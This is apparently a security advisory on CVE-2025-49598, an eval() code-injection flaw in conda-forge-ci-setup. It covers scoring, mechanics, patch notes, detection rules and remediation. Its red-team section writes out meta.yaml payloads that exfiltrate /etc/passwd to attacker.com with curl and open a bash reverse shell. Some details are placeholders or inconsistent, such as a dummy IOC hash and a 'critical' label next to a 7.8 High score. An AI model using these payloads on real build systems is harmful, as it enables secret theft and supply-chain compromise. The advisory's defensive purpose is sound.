CVE-2025-49598

Executive Summary

CVE-2025-49598 is a critical code injection vulnerability in the conda-forge-ci-setup package, which is automatically installed by Conda-Forge during CI builds. The vulnerability stems from the unsafe use of the eval() function when parsing version information from a custom-formatted meta.yaml file. An attacker who can control the meta.yaml file (e.g., by manipulating the RECIPE_DIR variable in a CI/CD pipeline) can inject arbitrary Python code that is executed during the build process. This leads to arbitrary code execution (ACE) on the build runner. While exploitation requires some level of access to the CI pipeline, the impact is severe, potentially allowing an attacker to exfiltrate secrets, modify build artifacts, or pivot to internal networks. The vulnerability is fixed in version 4.15.0.

Supply Chain & Package Security

This vulnerability directly impacts the Conda-Forge supply chain. The conda-forge-ci-setup package is a trusted component injected into every Conda-Forge CI build. A compromised meta.yaml file can lead to the execution of malicious code within the build environment, potentially poisoning the resulting Conda packages. This is a classic supply chain attack vector where a trusted build dependency is exploited to compromise downstream artifacts. Organizations using Conda-Forge for package distribution should immediately audit their CI pipelines and ensure they are using version 4.15.0 or later.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Local (L) – The attacker must have local access to the CI runner or be able to modify the meta.yaml file.
• Attack Complexity (AC): Low (L) – The attack does not require special conditions beyond controlling the meta.yaml file.
• Privileges Required (PR): Low (L) – The attacker needs write access to the recipe directory.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) – Full file system access is possible.
• Integrity (I): High (H) – Arbitrary code can be executed.
• Availability (A): High (H) – The build process can be disrupted.

Base Score: 7.8 (High)

Threat Level: High. While the attack surface is limited to CI environments, the potential for supply chain compromise and lateral movement makes this a critical finding for organizations using Conda-Forge.

Deep Dive & Mechanics

The vulnerability resides in the conda-forge-ci-setup package, specifically in the script that parses the meta.yaml file to extract version information. The vulnerable code uses Python's eval() function to evaluate a string expression derived from the meta.yaml content. The eval() function executes arbitrary Python code, and if an attacker can control the input to eval(), they can inject malicious code.

The typical flow is:

1. The CI build script reads the meta.yaml file from the recipe directory.
2. It extracts the version field, which may contain a Jinja2 template expression like {{ version }}.
3. The vulnerable code uses eval() to evaluate this expression, intending to resolve the version string.
4. An attacker who can modify meta.yaml can inject a payload such as __import__('os').system('malicious_command') into the version field.
5. When eval() is called, the malicious command is executed on the build runner.

The attack requires the attacker to control the RECIPE_DIR variable, which points to the directory containing meta.yaml. In a CI/CD pipeline, this could be achieved by:

• Compromising a contributor's account and pushing a malicious meta.yaml to a pull request.
• Exploiting a separate vulnerability to modify the repository contents.
• Using a malicious fork or branch that is merged into the main pipeline.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.15.0):

# Vulnerable: uses eval() on user-controlled input
version = eval(meta_yaml_content['version'])

Patched Code (4.15.0+):

# Patched: uses safe parsing without eval()
version = meta_yaml_content['version']
# Additional safe parsing logic to handle Jinja2 templates

The patch removes the eval() call entirely and replaces it with a safe parsing mechanism that does not execute arbitrary code. The exact implementation may involve using ast.literal_eval() or a custom parser that only allows safe expressions.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Conda-Forge CI pipeline (e.g., GitHub Actions, Azure Pipelines).
• Ability to modify the meta.yaml file in the recipe directory.

Exploitation Steps:

1. Create a malicious meta.yaml file with a payload in the version field:

   package:
     name: malicious-package
     version: "__import__('os').system('curl http://attacker.com/exfil?data=$(cat /etc/passwd)')"
   

2. Push this file to a branch or pull request that triggers the Conda-Forge CI build.
3. When the CI pipeline runs, the eval() function executes the payload, exfiltrating data or executing further commands.

Alternative Payload (Reverse Shell):

version: "__import__('os').system('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')"

Note: No public exploit code is available at this time.

Blue Team

Detection:

• Monitor CI logs for unusual Python eval() calls or unexpected system commands.
• Look for meta.yaml files containing suspicious strings like __import__, os.system, or subprocess.
• Use file integrity monitoring on recipe directories.

Hunting:

• Search for eval( in Conda-Forge CI setup scripts.
• Review recent changes to meta.yaml files in your repositories.
• Check for outbound connections from CI runners to unknown IPs.

Containment:

• Immediately upgrade to conda-forge-ci-setup version 4.15.0 or later.
• If upgrade is not possible, implement a pre-build script that validates meta.yaml for dangerous patterns.
• Restrict write access to recipe directories to trusted users only.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):

  • Malicious meta.yaml with eval() payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • (Placeholder – actual hash depends on payload)

• Network Indicators:

  • Outbound connections to attacker-controlled IPs/domains from CI runners.
  • Unusual DNS queries from build environments.

• Process Indicators:

  • Execution of python -c or eval in CI logs.
  • Unexpected child processes spawned by the build script (e.g., curl, wget, bash).

• File System Indicators:

  • Modified meta.yaml files with suspicious version fields.
  • Presence of temporary files created by malicious code (e.g., /tmp/evil.sh).

Detection Engineering

YARA Rule

rule CVE_2025_49598_MetaYaml_Eval {
    meta:
        description = "Detects malicious meta.yaml files exploiting CVE-2025-49598"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49598"
    strings:
        $eval_pattern = /version:\s*["']__import__\(['"]os['"]\)\.system\(/
        $dangerous_func = /__import__|os\.system|subprocess\.call|exec\(|eval\(/
    condition:
        $eval_pattern or ($dangerous_func and filetype == "yaml")
}

Sigma Rule

title: CVE-2025-49598 - Unsafe eval() in Conda-Forge CI Setup
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects execution of eval() with user-controlled input in Conda-Forge CI builds
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python'
        CommandLine|contains: 'eval('
    condition: selection
falsepositives:
    - Legitimate use of eval() in other scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49598 - Potential Data Exfiltration from CI Runner"; flow:to_server; content:"/exfil?data="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update conda-forge-ci-setup to version 4.15.0 or later in all CI pipelines.
2. Validate meta.yaml: Implement a pre-build validation script that scans meta.yaml for dangerous patterns (e.g., eval, __import__, os.system).
3. Restrict Access: Limit write access to recipe directories to only trusted users and automated processes.

Long-Term Mitigations:

• Code Review: Review all CI setup scripts for unsafe functions like eval(), exec(), and os.system().
• Sandboxing: Run CI builds in isolated containers with minimal privileges and network access.
• Monitoring: Implement logging and alerting for unusual process executions and network connections from CI runners.
• Supply Chain Security: Use signed commits and branch protection rules to prevent unauthorized changes to recipe files.

Workaround (if upgrade is not possible):

• Replace the vulnerable eval() call with ast.literal_eval() or a custom parser that only allows safe expressions.
• Use a wrapper script that sanitizes the meta.yaml content before it is processed by the CI setup.

Valters IT
Securing the open-source supply chain, one CVE at a time.